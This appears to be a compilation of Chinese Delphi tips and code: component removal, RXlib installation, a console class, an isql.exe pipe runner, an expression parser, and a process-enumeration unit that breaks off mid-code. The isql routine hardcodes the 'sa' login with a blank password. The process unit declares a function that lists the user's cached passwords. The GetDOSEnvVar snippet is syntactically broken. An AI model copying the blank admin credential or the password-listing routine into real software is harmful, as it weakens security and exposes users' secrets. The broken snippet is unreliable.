当然，实际上只需要Button1.OnClick=Button1Click2即可；不过，这样可以让你明白在幕后发生的事情。值得注意的一点是，Button1Click2应该声明在published段（或者和其他构件的声明放在一起，因为默认作用域就是published），以便编译器为它产生RTTI信息，否则程序可能达不到预期的效果。


怎样删除一个安装好的控件？

在Component/Install Packages中删除。

选Component/configure Palette…

有pages和components两个区域

双击components区域，选中要删除得控件，下面有得Delete按钮

但系统提供的控件只能Hide，不能delete。

打开控件所在的包文件(*.dpk)，从中删除控件那个文件，再重新编译该包即可

如果是整个控件包都要删除的话,project->Option->Packages,删掉那个packages,That would be ok~


Delphi5.0中安装和注册使用RXlib2.75组件库

如何在Delphi5.0中安装和注册使用RXlib2.75组件库？

在RXLIB的安装目录里根据文件名找到一个D5下用的各个DPK文件，打开用Delphi打开它，在项目选项中查看是运行库还是设计库，先编译运行库，再安装设计库,它们之间的依赖关系决定安装顺序。最后，别忘了把编译后的运行库DPL文件复制到如D:\u65292，或者将所在目录加入PATH，否则，下次启动DELPHI就。。。

--回复得分 60 --

在安装DPK文件时要注意，是有顺序的。要先编译RXCTL4.DPK文件,然后再编译RXDB4.DPk文件。

然后把得到的BPL文件放到Delphi的搜索目录中。

最后，再先安装DCLRX4.DPK文件，然后是DCLRXDB4.DPK。万事OK了！


一个控制台类

JHz

Code :

unit uConsoleClass;

interface

uses Windows;

type

TConsoleControl = Class

private

FhStdIn : THandle; // Handle to the standard input

FhStdOut : THandle; // Handle to the standard output

FhStdErr : THandle; // Handle to the standard error (Output)

FbConsoleAllocated : Boolean; // Creation Flag

FBgAttrib : Cardinal; // Currently set BackGround Attribs.

FFgAttrib : Cardinal; // Currently set ForeGround Attribs.

public

constructor Create;

(* Creates a new consolewindow, or connects the current window *)

destructor Destroy;override;

(* Cleanup of the class structures *)

(* Color properties:

The console window does not handle the colors like known form delphi

components. Each color will be created from a red,green,blue and a

intensity part. In fact the resulting colors are the same as the well

known 16 base colors (clwhite .. clBlack).

Black ist if all flags are false, white if all flag are true.

The following two functions will change the color for following

writes *)

procedure SetForegroundColor(bRed,bGreen,bBlue,bIntensity : Boolean);

procedure SetBackgroundColor(bRed,bGreen,bBlue,bIntensity : Boolean);

(* Writing functions :

simple wrapper around WriteConsole

*)

procedure WriteText (const s : string);

procedure WriteTextLine( const s : string);

(* Change the Windowtitle of the command window. If the program has been

executed from a CMD-box the title change is only active while the

programs execution time *)

procedure SetWindowTitle (const sTitle : string);

(* some Cursor manipulation functions *)

procedure ShowCursor ( iSize : Integer);

procedure HideCursor;

procedure GetCursorPos( var x,y : integer);

procedure SetCursorTo(x,y : integer);

(* screen operations:

the screen ist the visible part of a cmd window. Behind the window

there

is a screenbuffer. The screenbuffer may be larger than the visible

window *)

procedure ClearScreen;

function GetScreenLeft : integer;

function GetScreenTop : Integer;

function GetScreenHeight : integer;

function GetScreenWidth : integer;

(* screenbuffer operations *)

procedure ClearBuffer;

function GetBufferHeight : integer;

function GetBufferWidth : integer;

(* sample to read characters from then screenbuffer *)

procedure GetCharAtPos(x,y : Integer;var rCharInfo : Char);

end;

implementation

{ TConsoleControl }

procedure TConsoleControl.ClearBuffer;

var

SBInfo : TConsoleScreenBufferInfo;

ulWrittenChars : Cardinal;

TopLeft : TCoord;

begin

TopLeft.X := 0;

TopLeft.Y := 0;

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

FillConsoleOutputCharacter(FhStdOut,' ',

SBInfo.dwSize.X * SBInfo.dwSize.Y,

TopLeft,

ulWrittenChars);

FillConsoleOutputAttribute( FhStdOut,

FOREGROUND_RED or FOREGROUND_BLUE or

FOREGROUND_GREEN,

(SBInfo.srWindow.Right - SBInfo.srWindow.Left)

*

(SBInfo.srWindow.Bottom -

SBInfo.srWindow.Top),

TopLeft,

ulWrittenChars);

end;

procedure TConsoleControl.ClearScreen;

var

SBInfo : TConsoleScreenBufferInfo;

ulWrittenChars : Cardinal;

TopLeft : TCoord;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

TopLeft.X := SBInfo.srWindow.Left;

TopLeft.Y := SBInfo.srWindow.Top;

FillConsoleOutputCharacter(FhStdOut,' ',

(SBInfo.srWindow.Right - SBInfo.srWindow.Left)

*

(SBInfo.srWindow.Bottom - SBInfo.srWindow.Top),

TopLeft,

ulWrittenChars);

FillConsoleOutputAttribute(FhStdOut,FOREGROUND_RED or FOREGROUND_BLUE or

FOREGROUND_GREEN,

(SBInfo.srWindow.Right - SBInfo.srWindow.Left)

*

(SBInfo.srWindow.Bottom - SBInfo.srWindow.Top),

TopLeft,

ulWrittenChars);

end;

constructor TConsoleControl.Create;

begin

inherited Create;

// A process can be associated with only one console, so the AllocConsole

// function fails if the calling process already has a console.

FbConsoleAllocated := AllocConsole;

// initializing the needed handles

FhStdOut := GetStdHandle(STD_OUTPUT_HANDLE);

FhStdErr := GetStdHandle(STD_ERROR_HANDLE);

FhStdIn := GetStdHandle(STD_INPUT_HANDLE);

end;

destructor TConsoleControl.Destroy;

begin

if FbConsoleAllocated then FreeConsole;

inherited;

end;

function TConsoleControl.GetBufferHeight: integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.dwSize.Y;

end;

function TConsoleControl.GetBufferWidth: integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.dwSize.X;

end;

procedure TConsoleControl.GetCharAtPos(x, y: Integer; var rCharInfo : Char);

var

CharInfo : array [0..10] of Char;

TopLeft : TCoord;

CharsRead : Cardinal;

begin

TopLeft.x := X;

TopLeft.Y := Y;

ReadConsoleOutputCharacter(FhStdOut,CharInfo,10,TopLeft,CharsRead);

rCharInfo := CharInfo[0];

end;

procedure TConsoleControl.GetCursorPos(var x, y: integer);

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

x := SBInfo.dwCursorPosition.X;

y := SBInfo.dwCursorPosition.Y;

end;

function TConsoleControl.GetScreenHeight: integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.srWindow.Bottom -SBInfo.srWindow.Top;

end;

function TConsoleControl.GetScreenLeft: integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.srWindow.Left;

end;

function TConsoleControl.GetScreenTop: Integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.srWindow.Top;

end;

function TConsoleControl.GetScreenWidth: integer;

var

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

Result := SBInfo.srWindow.Right - SBInfo.srWindow.Left;

end;

procedure TConsoleControl.HideCursor;

var

ConsoleCursorInfo : TConsoleCursorInfo;

begin

GetConsoleCursorInfo(FhStdOut,ConsoleCursorInfo);

if ConsoleCursorInfo.bVisible then begin

ConsoleCursorInfo.bVisible := False;

SetConsoleCursorInfo(FhStdOut,ConsoleCursorInfo);

end;

end;

procedure TConsoleControl.SetBackgroundColor(bRed, bGreen, bBlue,

bIntensity: Boolean);

begin

FBgAttrib := 0;

if bRed then FBgAttrib := FBgAttrib or BACKGROUND_RED;

if bGreen then FBgAttrib := FBgAttrib or BACKGROUND_GREEN;

if bBlue then FBgAttrib := FBgAttrib or BACKGROUND_BLUE;

if bIntensity then FBgAttrib := FBgAttrib or BACKGROUND_INTENSITY;

SetConsoleTextAttribute(FhStdOut,FBgAttrib or FFgAttrib);

end;

procedure TConsoleControl.SetCursorTo(x, y: integer);

var

Coords : TCoord;

SBInfo : TConsoleScreenBufferInfo;

begin

GetConsoleScreenBufferInfo(FhStdOut,SBInfo);

if x < 0 then Exit;

if y < 0 then Exit;

if x > SbInfo.dwSize.X then Exit;

if y > SbInfo.dwSize.Y then Exit;

Coords.X := x;

Coords.Y := y;

SetConsoleCursorPosition(FhStdOut,Coords);

end;

procedure TConsoleControl.SetForegroundColor(bRed, bGreen, bBlue,

bIntensity: Boolean);

begin

FFgAttrib := 0;

if bRed then FFgAttrib := FFgAttrib or FOREGROUND_RED;

if bGreen then FFgAttrib := FFgAttrib or FOREGROUND_GREEN;

if bBlue then FFgAttrib := FFgAttrib or FOREGROUND_BLUE;

if bIntensity then FFgAttrib := FFgAttrib or FOREGROUND_INTENSITY;

SetConsoleTextAttribute(FhStdOut,FBgAttrib or FFgAttrib);

end;

procedure TConsoleControl.SetWindowTitle(const sTitle: string);

begin

SetConsoleTitle(PChar(sTitle));

end;

procedure TConsoleControl.ShowCursor(iSize: Integer);

var

ConsoleCursorInfo : TConsoleCursorInfo;

begin

GetConsoleCursorInfo(FhStdOut,ConsoleCursorInfo);

if (not ConsoleCursorInfo.bVisible) or

( ConsoleCursorInfo.dwSize <> iSize ) then begin

ConsoleCursorInfo.bVisible := True;

ConsoleCursorInfo.dwSize := iSize;

SetConsoleCursorInfo(FhStdOut,ConsoleCursorInfo);

end;

end;

procedure TConsoleControl.WriteText(const s: string);

var

ulLength : Cardinal;

begin

WriteConsole(FhStdOut,PChar(s),Length(s),ulLength,NIL);

end;

procedure TConsoleControl.WriteTextLine(const s: string);

begin

WriteText(s+#13#10);

end;

end.

---------- end of unit uConsoleClass ------

----------- sample main that simulates a "starfield" ----------

program console;

{$APPTYPE CONSOLE}

uses

SysUtils,

Windows,

uConsoleClass in 'uConsoleClass.pas';

var

MyConsole : TConsoleControl;

procedure Stars ;

var

x,y,w,h : Integer;

x1,y1 : Integer;

CharInfo: Char;

i : integer;

begin

MyConsole.ClearScreen;

x := MyConsole.GetScreenLeft;

y := MyConsole.GetScreenTop;

h := MyConsole.GetScreenHeight div 4;

w := MyConsole.GetScreenWidth div 4;

for i := 1 to 15000 do begin

x1 := x+Random(w)*4;

y1 := y+Random(h)*4;

MyConsole.SetCursorTo(x1,y1);

MyConsole.GetCharAtPos(x1,y1,CharInfo);

MyConsole.SetForegroundColor(Bool(Random(2)),Bool(Random(2)),Bool(Random(2))

,Bool(Random(2)));

if (CharInfo = ' ') or (CharInfo = #0) then begin

MyConsole.WriteText('.');

end

else if CharInfo = '.' then begin

MyConsole.WriteText('+');

end

else if CharInfo = '+' then begin

MyConsole.WriteText('*');

end

else if CharInfo = '*' then begin

MyConsole.WriteText(' ');

end;

sleep (5);

end;

end;

begin

MyConsole := TConsoleControl.Create;

Stars ;

MyConsole.Free;

end.

procedure TfmDbuMain.ExecuteISQL(FileName: string);

const

BufSize = $4000;

type

TPipeHandles = record

hRead,

hWrite: DWORD;

end;

procedure ClosePipe(var Pipe: TPipeHandles);

begin

with Pipe do

begin

if hRead <> 0 then CloseHandle (hRead);

if hWrite <> 0 then CloseHandle (hWrite);

hRead := 0;

hWrite := 0;

end;

end;

function ReadPipe(var Pipe: TPipeHandles): string;

var

ReadBuf: array[0..BufSize] of Char;

BytesRead: Dword;

begin

result := '';

if PeekNamedPipe(Pipe.hRead, nil, 0, nil, @BytesRead, nil) and

(BytesRead > 0) then

begin

ReadFile(Pipe.hRead, ReadBuf, BytesRead, BytesRead, nil);

if BytesRead > 0 then

begin

ReadBuf[BytesRead] := #0;

result := ReadBuf;

end;

end;

end;

var

SecAttr : TSecurityAttributes;

StartupInfo: TStartupInfo;

PipeStdOut: TPipeHandles;

PipeStdErr: TPipeHandles;

Cmd: string;

dwExitCode: DWORD;

outstr: string;

error_msg: string;

begin

SecAttr.nLength := SizeOf(SecAttr);

SecAttr.lpSecurityDescriptor := nil;

SecAttr.bInheritHandle := TRUE;

error_msg := '';

with PipeStdOut do

if not CreatePipe (hRead, hWrite, @SecAttr, BufSize) then

XWinError('Ne mogu kreirati STDOUT pipe');

try

with PipeStdErr do

if not CreatePipe (hRead, hWrite, @SecAttr, BufSize) then

XWinError('Ne mogu kreirati STDERR pipe');

except

ClosePipe(PipeStdOut);

raise;

end;

try

FillChar(StartupInfo,SizeOf(StartupInfo), 0);

with StartupInfo do

begin

cb:= SizeOf(StartupInfo);

dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

hStdOutput := PipeStdOut.hWrite;

hStdError := PipeStdErr.hWrite;

wShowWindow := SW_HIDE;

end;

Cmd := FMSSQLBinnDir + 'isql.exe' +

' -S "'+dmPMXData.DBServerName+'"' +

' -U "'+'sa'+'"' +

' -P "'+''+'"' +

' -d "'+dmPMXData.DBDatabaseName+'"' +

' -w 255 -n ' +

' -i "'+FileName+'"' +

' -r1 -l 10';

if CreateProcess(

nil, PChar(Cmd), nil, nil, true,

DETACHED_PROCESS or NORMAL_PRIORITY_CLASS,

nil, PChar(XWorkDir),

StartupInfo,

ProcessInformation

) then

begin

dwExitCode := STILL_ACTIVE;

Screen.Cursor := crHourglass;

bbTerminate.Enabled := true;

try

repeat

///WaitForSingleObject(ProcessInformation.hProcess, 0);

GetExitCodeProcess(ProcessInformation.hProcess,

dwExitCode);

Application.ProcessMessages;

outstr := ReadPipe(PipeStdOut);

if outstr <> '' then

begin

LogStyle(ltNormal);

meOutput.SelText := outstr;

meOutput.Perform(EM_SCROLLCARET, 0, 0);

end;

outstr := ReadPipe(PipeStdErr);

if outstr <> '' then

begin

LogStyle(ltError);

meOutput.SelText := outstr;

meOutput.Perform(EM_SCROLLCARET, 0, 0);

if (error_msg = '') and (Pos('Msg 1105, Level 17',

outstr) > 0) then

begin

(* Error Message text:

Can't allocate space for object '%.*s' in database

'%.*s' because the

'%.*s' segment is full. If you ran out of space in

Syslogs, dump the

transaction log. Otherwise, use ALTER DATABASE or

sp_extendsegment to increase

the size of the segment.

*)

error_msg := 'Nema mjesta na segmentu baze

podataka, treba pokusati isprazniti transaction log ili pove鎍ti

bazu.';

end;

end;

until dwExitCode <> STILL_ACTIVE;

if not GetExitCodeProcess(ProcessInformation.hProcess,

dwExitCode) then

XWinError('Ne mogu o鑙tati exit code!');

if dwExitCode <> 0 then

raise Exception.Create('Exit code ' +

IntToStr(dwExitCode));

finally

Screen.Cursor := crDefault;

bbTerminate.Enabled := false;

if dwExitCode = STILL_ACTIVE then

TerminateProcess(ProcessInformation.hProcess, 1);

CloseHandle(ProcessInformation.hProcess);

CloseHandle(ProcessInformation.hThread);

ProcessInformation.hProcess := 0;

end;

end

else

XWinError('Ne mogu lansirati ' + FMSSQLBinnDir + 'isql.exe!' +

#10 + 'Cmd: ' + Cmd);

finally

ClosePipe(PipeStdOut);

ClosePipe(PipeStdErr);

end;

if error_msg <> '' then

raise Exception.Create(error_msg);

end;


一个非常好用的List类

该List可以管理Integer，int64，记录等，任意的数据结构，这个单元同时提供对象List管理类。用了就知道了，要支持自己的记录或者数据，只要简单的派生一下就可以了。提供一个简单的Demo。

吐血推荐，仔细看看研究一下！绝对好用的List类，利用它可以节省很多时间。

下载>>>> ListObjectUnit.rar


獲得Dos環境變量

function GetDOSEnvVar ( const VarName: string ): string;

var

len: integer;

pDosEnv: PChar;

begin

result :='';

len := length ( varName );

PDosEnv := GetEnvironmentStrings;

if ( StrLIComp ( PDosEnv, @VarName [ 1 ], len ) = 0) and ( PDosEnv

len ] = ' ' ) then begin

result := strPas ( PDosEnv + len + 1 );

break;

end;

inc ( PDosEnv, strLen ( PDosEnv ) + 1 );


计算表达式

支持常用函数的表达式计算函数：

/////////////////////////////////////////////又一个

unit m;

interface

uses

Windows, Messages, Math, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

const

Symbol_Mod = 'M';

Symbol_Div = 'D';

Symbol_Shl = 'L';

Symbol_Shr = 'R';

Symbol_Or = 'O';

Symbol_Xor = 'X';

Symbol_And = 'A';

type

TForm1 = class(TForm)

Button1: TButton;

Edit1: TEdit;

Edit2: TEdit;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function ConvertExpression(ExpressionString: PChar): PChar;

var

inputexp: string;

begin

inputexp := ExpressionString;

//convert input expression to recognize expression

if pos('=', inputexp) = 0 then

inputexp := inputexp + '='

else

inputexp := Copy(inputexp, 1, Pos('=', inputexp));

inputexp := UpperCase(inputexp);

inputexp := StringReplace(inputexp, ' ', '', [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'MOD', Symbol_Mod, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'DIV', Symbol_Div, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'AND', Symbol_And, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'XOR', Symbol_Xor, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'OR', Symbol_Or, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'SHL', Symbol_Shl, [rfReplaceAll]);

inputexp := StringReplace(inputexp, 'SHR', Symbol_Shr, [rfReplaceAll]);

inputexp := StringReplace(inputexp, '(-', '(0-', [rfReplaceAll]);

if pos('-', inputexp) = 1 then inputexp := '0' + inputexp;

Result := PChar(inputexp);

end;

function ParseExpression(ExpressionString: PChar): extended;

var

nextch: char;

nextchpos, position: word;

inputexp: string;

procedure expression(var ev: extended); forward;

procedure readnextch;

begin

repeat

if inputexp[position] = '=' then

nextch := '='

else

begin

inc(nextchpos);

inc(position);

nextch := inputexp[position];

end;

until (nextch <> ' ') or eoln;

end;

procedure error(ErrorString: string);

begin

MessageDlg('无法识别的语法 : ' + ErrorString, mterror, [mbok], 0);

exit;

end;

procedure number(var nv: extended);

var

radix: longint;

snv: string;

function BinToInt(value: string): integer;

var

i, size: integer;

begin // convert binary number to integer

result := 0;

size := length(value);

for i := size downto 1 do

if copy(value, i, 1) = '1'

then result := result + (1 shl (size - i));

end;

begin

nv := 0;

snv := '';

while nextch in ['0'..'9', 'A'..'F'] do

begin

// nv:=10*nv+ord(nextch)-ord('0');

snv := snv + nextch;

readnextch;

end;

// parse Hex, Bin

if snv <> '' then

if snv[Length(snv)] = 'B'

then

nv := BinToInt(Copy(snv, 1, Length(snv) - 1))

else

if nextch = 'H' then

begin nv := StrToInt('$' + snv);

readnextch;

end

else

nv := StrToInt(snv);

if nextch = '.' then

begin

radix := 10;

readnextch;

while nextch in ['0'..'9'] do

begin

nv := nv + (ord(nextch) - ord('0')) / radix;

radix := radix * 10;

readnextch;

end;

end;

end;

procedure factor(var fv: extended);

var

Symbol: string;

function CalcN(Value: integer): extended;

var

i: integer;

begin

Result := 1;

if Value = 0 then

Exit

else

for i := 1 to Value do

Result := Result * i;

end;

function ParseFunction(var FunctionSymbol: string): boolean;

begin

FunctionSymbol := '';

while not (nextch in ['0'..'9', '.', '(', ')', '+', '-', '*', '/', '=']) do

begin

FunctionSymbol := FunctionSymbol + nextch;

readnextch;

end;

if FunctionSymbol = 'ABS' then

Result := true

else

if FunctionSymbol = 'SIN' then

Result := true

else

if FunctionSymbol = 'COS' then

Result := true

else

if FunctionSymbol = 'TG' then

Result := true

else

if FunctionSymbol = 'TAN' then

Result := true

else

if FunctionSymbol = 'ARCSIN' then

Result := true

else

if FunctionSymbol = 'ARCCOS' then

Result := true

else

if FunctionSymbol = 'ARCTG' then

Result := true

else

if FunctionSymbol = 'ARCTAN' then

Result := true

else

if FunctionSymbol = 'LN' then

Result := true

else

if FunctionSymbol = 'LG' then

Result := true

else

if FunctionSymbol = 'EXP' then

Result := true

else

if FunctionSymbol = 'SQR' then

Result := true

else

if FunctionSymbol = 'SQRT' then

Result := true

else

if FunctionSymbol = 'PI' then

Result := true

else

if FunctionSymbol = 'NOT' then

Result := true

else

if FunctionSymbol = 'N!' then

Result := true

else

if FunctionSymbol = 'E' then

Result := true

else

Result := false;

end;

begin

case nextch of

'0'..'9': number(fv);

'(':

begin

readnextch;

expression(fv);

if nextch = ')'

then

readnextch

else

error(nextch);

end

else

if ParseFunction(Symbol) then

if nextch = '(' then

begin

readnextch;

expression(fv);

if Symbol = 'ABS' then

fv := abs(fv)

else

if Symbol = 'SIN' then

fv := sin(fv)

else

if Symbol = 'COS' then

fv := cos(fv)

else

if Symbol = 'TG' then

fv := tan(fv)

else

if Symbol = 'TAN' then

fv := tan(fv)

else

if Symbol = 'ARCSIN' then

fv := arcsin(fv)

else

if Symbol = 'ARCCOS' then

fv := arccos(fv)

else

if Symbol = 'ARCTG' then

fv := arctan(fv)

else

if Symbol = 'ARCTAN' then

fv := arctan(fv)

else

if Symbol = 'LN' then

fv := ln(fv)

else

if Symbol = 'LG' then

fv := ln(fv) / ln(10)

else

if Symbol = 'EXP' then

fv := exp(fv)

else

if Symbol = 'SQR' then

fv := sqr(fv)

else

if Symbol = 'SQRT' then

fv := sqrt(fv)

else

if Symbol = 'NOT' then

fv := not (Round(fv))

else

if Symbol = 'N!' then

fv := CalcN(Round(fv))

else

error(symbol);

if nextch = ')' then

readnextch

else

error(nextch);

end

else

begin // parse constant

if Symbol = 'PI' then

fv := 3.14159265358979324

else

if Symbol = 'E' then

fv := 2.71828182845904523

else

error(symbol);

end

else

begin error(Symbol);

fv := 1;

end;

end;

end;

procedure Power_(var pv: extended);

var

multiop: char;

fs: extended;

begin

factor(pv);

while nextch in ['^'] do

begin

multiop := nextch;

readnextch;

factor(fs);

case multiop of

'^':

if pv <> 0.0 then

pv := exp(ln(pv) * fs)

else

error(multiop);

end;

end;

end;

procedure term_(var tv: extended);

var

multiop: char;

fs: extended;

begin

Power_(tv);

while nextch in ['*', '/', Symbol_Mod, Symbol_Div, Symbol_And, Symbol_Shl, Symbol_Shr] do

begin

multiop := nextch;

readnextch;

Power_(fs);

case multiop of

'*': tv := tv * fs;

'/':

if fs <> 0.0 then

tv := tv / fs

else

error(multiop);

Symbol_Mod: tv := round(tv) mod round(fs); // prase mod

Symbol_Div: tv := round(tv) div round(fs); // parse div

Symbol_And: tv := round(tv) and round(fs); // parse and

Symbol_Shl: tv := round(tv) shl round(fs); // parse shl

Symbol_Shr: tv := round(tv) shr round(fs); // parse shr

end;

end;

end;

procedure expression(var ev: extended);

var

addop: char;

fs: extended;

begin

term_(ev);

while nextch in ['+', '-', Symbol_Or, Symbol_Xor] do

begin

addop := nextch;

readnextch;

term_(fs);

case addop of

'+': ev := ev + fs;

'-': ev := ev - fs;

Symbol_Or: ev := round(ev) or round(fs); // parse or

Symbol_Xor: ev := round(ev) xor round(fs); // parse xor

end;

end;

end;

begin

inputexp := ConvertExpression(ExpressionString);

if pos('=', inputexp) = 0 then

inputexp := ConvertExpression(ExpressionString);

position := 0;

while inputexp[position] <> '=' do

begin

nextchpos := 0;

readnextch;

expression(result);

end;

end;

function ParseExpressionToStr(ExpressionString: PChar): PChar;

var

ES: string;

begin

ES := ExpressionString;

if pos('=', ES) = 0

then

ES := ES + '='

else

ES := Copy(ES, 1, Pos('=', ES));

ES := ES + FormatFloat('0.000000000000', ParseExpression(ExpressionString));

Result := PChar(ES);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text:=ConvertExpression(pchar(Edit1.text));

Edit2.Text:=floattostr(ParseExpression(Pchar(Edit1.text)));

end;

end.


进程工具单元

unit enumStuff;

// Delphi 4,5 enumeration implementation of several win32 APIs

// Dragon PC

interface

uses windows;

type TACardinal = array [0..maxInt shr 2-1] of cardinal;

TPACardinal = ^TACardinal;

TDACardinal = array of cardinal;

type TOperatingSystem = (osUnknown, osWin311, osWin95, osWin95osr2, osWin98, osWinNT3, osWinNT4, osWinNT4SP4, osWinNT5);

function GetOperatingSystem : TOperatingSystem;

// Tests which system is running...

type TExeType = (etUnknown, etDos, etWin16, etConsole, etWin32);

function GetExeType(exefile: string) : TExeType;

// Determines the type of the executable.

type TWindowList = array of record

pid : cardinal;

tid : cardinal;

window : cardinal;

parent : cardinal;

owner : cardinal;

visible : boolean;

enabled : boolean;

inTaskbar : boolean;

rect : TRect;

title : string;

className : string;

end;

TThreadList = array of record

pid : cardinal;

tid : cardinal;

windows : TWindowList;

end;

TProcessList = array of record

pid : cardinal;

name : string;

exeType : TExeType;

threads : TThreadList;

end;

TDesktopList = array of record

name : string;

windows : TWindowList;

end;

TWindowStationList = array of record

name : string;

desktops : TDesktopList;

end;

TCachedPasswordList = array of record

resource : string;

password : string;

resType : byte;

end;

function GetProcessList (threadsToo: boolean = false; windowsToo: boolean = false) : TProcessList;

// Lists the currently running processes.

function GetThreadList (pid: cardinal = 0; windowsToo: boolean = false) : TThreadList;

// Lists the currently running threads of the process "pid" or of all processes.

function GetWindowList (pid: cardinal = 0; tid: cardinal = 0; onlyThoseInTaskbar: boolean = false) : TWindowList;

// Lists the currently existing top level windows of the process "pid" or of all

// processes and of the thread "tid" or of all threads.

function GetChildWindowList (window: cardinal) : TWindowList;

// Lists the the child windows of "window".

function GetWindowStationList (desktopsToo: boolean = false; windowsToo: boolean = false) : TWindowStationList;

// Lists the currently existing window stations. (works only under winNT)

function GetDesktopList (ws: cardinal = 0; windowsToo: boolean = false) : TDesktopList;

// Lists the currently existing desktops. (works only under winNT)

function GetDesktopWindowList (dt: cardinal = 0) : TWindowList;

// Lists the currently existing windows of the current desktop. (works only under winNT)

function GetCachedPasswords : TCachedPasswordList;

// Lists all cached passwords of the currently logged in user. (works only under win95/98)

implementation

uses ShellAPI, sysUtils;

type TPThreadList = ^TThreadList;

TPProcessList = ^TProcessList;

var OS : TOperatingSystem;

OSReady : boolean = false;

function GetOperatingSystem : TOperatingSystem;

var os1 : TOSVersionInfo;

begin

if not OSReady then begin

OSReady:=true;

os1.dwOSVersionInfoSize:=sizeOf(os1); GetVersionEx(os1);

case os1.dwPlatformID of

VER_PLATFORM_WIN32s : OS:=osWin311;

VER_PLATFORM_WIN32_WINDOWS : if (os1.dwMajorVersion=4) and (os1.dwMinorVersion=0) then begin

if os1.dwBuildNumber>1000 then OS:=osWin95osr2 else OS:=osWin95;

end else if (os1.dwMajorVersion=4) and (os1.dwMinorVersion=10) then

OS:=osWin98

else OS:=osUnknown;

VER_PLATFORM_WIN32_NT : case os1.dwMajorVersion of

0..3 : OS:=osWinNT3;

4 : if string(os1.szCSDVersion)='Service Pack 4' then OS:=osWinNT4SP4

else OS:=osWinNT4;

5 : OS:=osWinNT5;

end;

else OS:=osUnknown;

end;

end;

result:=OS;

end;

const MAX_MODULE_NAME32 = 255;

type

TProcessEntry32 = record

dwSize : DWORD;

cntUsage : DWORD;

th32ProcessID : DWORD; // this process

th32DefaultHeapID : DWORD;

th32ModuleID : DWORD; // associated exe

cntThreads : DWORD;

th32ParentProcessID : DWORD; // this process's parent process

pcPriClassBase : integer; // Base priority of process's threads

dwFlags : DWORD;

szExeFile : array [0..MAX_PATH-1] of char; // Path

end;

TThreadEntry32 = record

dwSize : DWORD;

cntUsage : DWORD;

th32ThreadID : DWORD; // this thread

th32OwnerProcessID : DWORD; // Process this thread is associated with

tpBasePri : integer;

tpDeltaPri : integer;

dwFlags : DWORD;

end;

TModuleEntry32 = record

dwSize : DWORD;

th32ModuleID : DWORD; // This module

th32ProcessID : DWORD; // owning process

GlblcntUsage : DWORD; // Global usage count on the module

ProccntUsage : DWORD; // Module usage count in th32ProcessID's context

modBaseAddr : pointer; // Base address of module in th32ProcessID's context

modBaseSize : DWORD; // Size in bytes of module starting at modBaseAddr

hModule : HMODULE; // The hModule of this module in th32ProcessID's context

szModule : array [0..MAX_MODULE_NAME32] of char;

szExePath : array [0..MAX_PATH-1] of char;

end;

const TH32CS_SnapProcess = 2;

TH32CS_SnapThread = 4;

TH32CS_SnapModule = 8;

var //PsApiHandle : cardinal = 0;

CreateToolhelp32Snapshot :

function (dwFlags,th32ProcessID: cardinal) : cardinal; stdcall

= nil;

Process32First :

function (hSnapshot: cardinal; var lppe: TProcessEntry32) : bool; stdcall

= nil;

Process32Next :

function (hSnapshot: cardinal; var lppe: TProcessEntry32) : bool; stdcall

= nil;

Thread32First :

function (hSnapshot: cardinal; var lpte: TThreadEntry32) : bool; stdcall

= nil;

Thread32Next :

function (hSnapshot: cardinal; var lpte: TThreadEntry32) : bool; stdcall

= nil;

Module32First :

function (hSnapshot: cardinal; var lpme: TModuleEntry32) : bool; stdcall

= nil;

Module32Next :

function (hSnapshot: cardinal; var lpme: TModuleEntry32) : bool; stdcall

= nil;

EnumProcesses :

function (idProcess: TPACardinal; cb: cardinal; var cbNeeded: cardinal) : bool; stdcall

= nil;

EnumProcessModules :

function (hProcess: cardinal; var hModule: cardinal; cb: cardinal; var cbNeeded: cardinal) : bool; stdcall

= nil;

GetModuleFileNameEx :

function (hProcess,hModule: cardinal; fileName: PChar; nSize: cardinal) : cardinal; stdcall

= nil;

function TestToolhelpFunctions : boolean;

var c1 : cardinal;

begin

c1:=GetModuleHandle('kernel32');

@CreateToolhelp32Snapshot:=GetProcAddress(c1,'CreateToolhelp32Snapshot');

@Process32First :=GetProcAddress(c1,'Process32First' );

@Process32Next :=GetProcAddress(c1,'Process32Next' );

@Thread32First :=GetProcAddress(c1,'Thread32First' );

@Thread32Next :=GetProcAddress(c1,'Thread32Next' );

@Module32First :=GetProcAddress(c1,'Module32First' );

@Module32Next :=GetProcAddress(c1,'Module32Next' );

result:=(@CreateToolhelp32Snapshot<>nil) and

(@Process32First<>nil) and (@Process32Next<>nil) and

(@Thread32First<>nil) and (@Thread32Next<>nil) and

(@Module32First<>nil) and (@Module32Next<>nil);

end;

{function TestPsApi : boolean;

begin

if PsApiHandle=0 then begin

PsApiHandle:=LoadLibrary('psapi');

result:=PsApiHandle<>0;

if result then begin

@EnumProcesses :=GetProcAddress(PsApiHandle,'EnumProcesses' );

@EnumProcessModules :=GetProcAddress(PsApiHandle,'EnumProcessModules' );

@GetModuleFileNameEx:=GetProcAddress(PsApiHandle,'GetModuleFileNameExA');

